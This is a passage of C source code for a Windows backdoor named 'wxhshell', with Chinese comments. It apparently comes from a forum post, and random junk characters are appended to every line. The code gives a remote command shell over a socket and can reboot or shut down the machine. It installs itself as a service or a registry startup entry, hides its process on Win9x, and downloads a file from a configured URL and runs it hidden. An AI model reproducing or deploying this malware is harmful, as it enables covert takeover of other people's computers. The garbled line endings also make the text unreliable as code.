      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fy@avo9  
    break; H>Q%"|  
  } &*G<a3 Q  
  // 安装 j.~!dh$mg  
  case 'i': { (Q[fS:U  
    if(Install()) 76tdJ!4Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -U~   
    else `.x$7!zLC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .Xm(D>>k  
    break; ~AY N  
    } Rtb :nJ8  
  // 卸载 uZa9zs=} c  
  case 'r': { I{JU-J k|  
    if(Uninstall()) 4p%A8%/q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W)'*m-I  
    else MUOa@O,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bQe^Px5 !.  
    break; 4p;aS$Q  
    } 4v p  
  // 显示 wxhshell 所在路径 kP#e((f,  
  case 'p': { A,su;Q h  
    char svExeFile[MAX_PATH]; i'd2[A.7I  
    strcpy(svExeFile,"\n\r"); KKA~#iCk  
      strcat(svExeFile,ExeFile); |r ue=QZ  
        send(wsh,svExeFile,strlen(svExeFile),0); {NpM.;  
    break; _0+0#! J!  
    } 6s,uXn  
  // 重启 x@mL $  
  case 'b': { f)]%.>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); AV 8n(  
    if(Boot(REBOOT)) f>'Y(dJ'W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 01!s"wjf  
    else { - (#I3h;I  
    closesocket(wsh); EM>}0V  
    ExitThread(0); %h1N3\y9i(  
    } y(R? ,wa=]  
    break; YV=QF J'  
    } 2|\A7.  
  // 关机 *5bLe'^\|K  
  case 'd': { Y_`-9'&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <Q|d&vDVfV  
    if(Boot(SHUTDOWN)) aA7=q=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R.7:3h  
    else { [m^+,%m5]  
    closesocket(wsh); XC{eX&,2x  
    ExitThread(0); \~P=U;l=pO  
    } Lb LiB*D#s  
    break; MO;X>D=  
    } <2C7<7{7  
  // 获取shell A!1;}x  
  case 's': { |t$Ma'P  
    CmdShell(wsh); oYWR')8g  
    closesocket(wsh); 0G!]=  
    ExitThread(0); jYNrD"n  
    break; </uO e.l>Q  
  } >-&R47G  
  // 退出 E .1J2Ne  
  case 'x': { rD>*j~_+P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !w BJ,&E  
    CloseIt(wsh); TAjh"JJIV  
    break; h|X^dQb]  
    } $d?.2Kg  
  // 离开 VDTcR  
  case 'q': { KfF!{g f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >u9Nz0?j  
    closesocket(wsh); Uye|9/w8 !  
    WSACleanup(); W0I#\b18  
    exit(1); Bc3:}+l  
    break; oyo(1 >  
        } [qsEUc+Z.'  
  } SkU9ON   
  } 0M\D[ mg  
j,]Y$B  
  // 提示信息 ){jl a,[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8Lw B B  
} mN8pg4  
  } F R|&^j6  
A'P(a`  
  return; Fl(T\-Eu  
} `y+tf?QN  
_X?^Cy  
// shell模块句柄 A!^q J#  
int CmdShell(SOCKET sock) V|\7')Qq  
{ qZ@s#UiB  
STARTUPINFO si; w3jO6*_ M  
ZeroMemory(&si,sizeof(si)); yCCrK@{oo  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r(gXoq_w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !?Wp+e6  
PROCESS_INFORMATION ProcessInfo; }@.|?2b +  
char cmdline[]="cmd"; FLEo*9u>b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]qhPd_$?D'  
  return 0; ~/j\Z  
} 7gRgOzWfV  
`({T]@]V  
// 自身启动模式 LR" 9D  
int StartFromService(void) YuB+k^  
{ Ar~"R4!  
typedef struct HaIM#R32T  
{ qWw\_S  
  DWORD ExitStatus; [$[:"N_  
  DWORD PebBaseAddress; *hcYGLx r  
  DWORD AffinityMask; cu+FM  
  DWORD BasePriority; [z 7bixN  
  ULONG UniqueProcessId; J4Dry<  
  ULONG InheritedFromUniqueProcessId; fFQ|T:vm  
}   PROCESS_BASIC_INFORMATION; [` sL?&a  
#:SNHM^><  
PROCNTQSIP NtQueryInformationProcess; 4`,j = 3  
.bio7c6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1^gl}^|B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z1"v}g  
X.:]=,aGW  
  HANDLE             hProcess; $MJm*6h  
  PROCESS_BASIC_INFORMATION pbi; X1~1&:V,<  
DK}"b}Fvq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k1Q ?'<`  
  if(NULL == hInst ) return 0; j&k6O1_  
0Fu~%~#E$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4>J   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y+7PwBo%e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '(/7[tJ  
Nz)l<S9>  
  if (!NtQueryInformationProcess) return 0; u{L!n$D7  
<_Q1k>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d^`?ed\1  
  if(!hProcess) return 0; 5e WwgA  
}l=xiAF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XC+A_"w)  
S{3nM<  
  CloseHandle(hProcess); JfPD}w  
G}p\8Q}'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ++E3]X|  
if(hProcess==NULL) return 0; Z@r.pRr'  
6^DR0sO  
HMODULE hMod; c [5KG}  
char procName[255]; )vxUT{;sH  
unsigned long cbNeeded; A`R{m0A  
&iV{:)L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dUsx vho  
%Rsp;1Z  
  CloseHandle(hProcess); A<y nIs<  
G$sA`<<  
if(strstr(procName,"services")) return 1; // 以服务启动 !^ _ "~  
%.vVEy  
  return 0; // 注册表启动 +]Y,q w  
} Tyck/ EO  
$kQ~d8 O  
// 主模块 fDP$ sW  
int StartWxhshell(LPSTR lpCmdLine) nl9P, d  
{ HJY2#lSha6  
  SOCKET wsl; CJhL)0Cs  
BOOL val=TRUE; ` He,p -  
  int port=0; $cZUM}@  
  struct sockaddr_in door; +sJrllrE(  
zen*PeIrA^  
  if(wscfg.ws_autoins) Install(); +U@<\kIF  
ZzX~&95G  
port=atoi(lpCmdLine); D|.ic!w'  
twx[ s$O'b  
if(port<=0) port=wscfg.ws_port; e#k<d-sf6  
dh $bfAb  
  WSADATA data; 1m.W<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3g6j?yYqb  
()H:UvM=t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^I+)o1%F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); > %KuNy{  
  door.sin_family = AF_INET; +}a ]GTBgA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {*ob_oc  
  door.sin_port = htons(port); BXyo  
y.q(vzg\_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %!1Q P[}K  
closesocket(wsl); QeK*j/  
return 1; :GJ &_YHf  
} & j+oJasI  
M8TSt\  
  if(listen(wsl,2) == INVALID_SOCKET) { 5>TK^1 :  
closesocket(wsl); F_4n^@M  
return 1; ^53r/V}%  
} nakYn  
  Wxhshell(wsl); YtWJX kB  
  WSACleanup(); ~#/hzS  
LWt&3  
return 0; /Js7`r=Rx  
CH<E,Z C1T  
} n-@j5w+k4  
-xP!"  
// 以NT服务方式启动 4f;HQ-Iv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 71{p+3Z&  
{ )sT> i  
DWORD   status = 0; J.| +ID+  
  DWORD   specificError = 0xfffffff; @|tL8?  
_x5 3g A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tq|hPd<C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @i*|s~15  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mN19WQ(r  
  serviceStatus.dwWin32ExitCode     = 0; lMbAs.!  
  serviceStatus.dwServiceSpecificExitCode = 0; %Ijj=wW  
  serviceStatus.dwCheckPoint       = 0; f1(+ bE%  
  serviceStatus.dwWaitHint       = 0; D~\$~&_]=  
}3L@J8:D"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A\.GV1  
  if (hServiceStatusHandle==0) return; 'Un " rts  
)[|3ZP`  
status = GetLastError(); s4uhsJL V$  
  if (status!=NO_ERROR) s91JBP|B7  
{ UMcgdJB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z.I9wQ]X[  
    serviceStatus.dwCheckPoint       = 0; mOlI#5H  
    serviceStatus.dwWaitHint       = 0; ze]h..,]K  
    serviceStatus.dwWin32ExitCode     = status; yiA<,!;4P  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5O6hxcMjT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dv/WE>?Aw  
    return; D N*t~Z3[  
  } eh5gjSqx  
_Wa. JUbv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (/j); oSK  
  serviceStatus.dwCheckPoint       = 0; aUtnR<6  
  serviceStatus.dwWaitHint       = 0; uF3qD|I\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t0T"@t#c  
} m RO~aD!N  
x a06i#  
// 处理NT服务事件,比如:启动、停止 QD>"]ap,o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4tS.G  
{ E}tqQ*u  
switch(fdwControl) ez6EjUk  
{ r'*}TM'8  
case SERVICE_CONTROL_STOP: : 7`[$<~E  
  serviceStatus.dwWin32ExitCode = 0; h|"9LU4a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Bb"Bg\le,^  
  serviceStatus.dwCheckPoint   = 0; jav#f{'  
  serviceStatus.dwWaitHint     = 0; 1wP-  
  { #"5 Dk#@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a qc?pqM  
  } $+I;oHWI  
  return; ^~A>8CQOU  
case SERVICE_CONTROL_PAUSE: bG(3^"dS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; AlIpsJ[UU  
  break; <N9[?g)  
case SERVICE_CONTROL_CONTINUE: 5x>}O3Q_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gE?| _x#  
  break; ?n ZY)  
case SERVICE_CONTROL_INTERROGATE: d|yAs5@  
  break; }-6)gWe  
}; }-sdov<<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +qwjbA+  
} L-k@-)98  
ynhmMy%  
// 标准应用程序主函数 ?C A,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8Bjib&im  
{ c. 2).Jt,  
&@yo;kB  
// 获取操作系统版本 W!>.$4Q9  
OsIsNt=GetOsVer(); k|H:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9c6gkt9eB  
D'Y-6W3  
  // 从命令行安装 m-*hygkcDu  
  if(strpbrk(lpCmdLine,"iI")) Install(); vCw e'q`1  
]&pds\  
  // 下载执行文件 M!XsJ<jN/  
if(wscfg.ws_downexe) { z=3\Ab  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -#HA"7XOE  
  WinExec(wscfg.ws_filenam,SW_HIDE); sH[ROm  
} |VNnOM  
nPy$D-L,  
if(!OsIsNt) { _<OSqE  
// 如果时win9x,隐藏进程并且设置为注册表启动 vG"=h%  
HideProc(); uD @#  
StartWxhshell(lpCmdLine); lH6OcD:kj  
} n@,G8=J?  
else e8#h3lxJ`  
  if(StartFromService()) Yd~X77cv  
  // 以服务方式启动 F ;2w1S^  
  StartServiceCtrlDispatcher(DispatchTable); \hEN4V[  
else o_^?n[4  
  // 普通方式启动 `I,,C,{C  
  StartWxhshell(lpCmdLine); n*{sTT  
 O2%?  
return 0; :1bWVM)  
}
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只看该作者 1 发表于: 2006-10-10
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